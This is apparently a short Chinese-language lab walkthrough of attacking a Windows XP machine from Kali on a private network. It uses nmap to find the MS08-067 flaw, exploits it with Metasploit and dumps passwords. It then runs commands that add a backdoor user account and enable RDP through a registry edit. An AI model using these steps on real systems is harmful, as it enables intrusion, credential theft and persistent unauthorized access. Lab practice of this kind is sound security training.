准备
一台kali ip 192.168.31.134
一台winxp ip 192.168.31.81
先用nmap扫一下
nmap -sP 192.168.31.0/24
扫到xp的ip
用nmap扫xp的信息
nmap --script=vuln 192.168.31.81
发现可能存在ms08067漏洞
用msfconsole
利用ms08067
使用这个攻击模块
设置目标机ip 攻击机ip xp系统
配置好之后,攻击
利用内渗透模块
获取账号密码
之后shell,看有什么用户
net user 1234 1234 /add 增加一个用户
开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f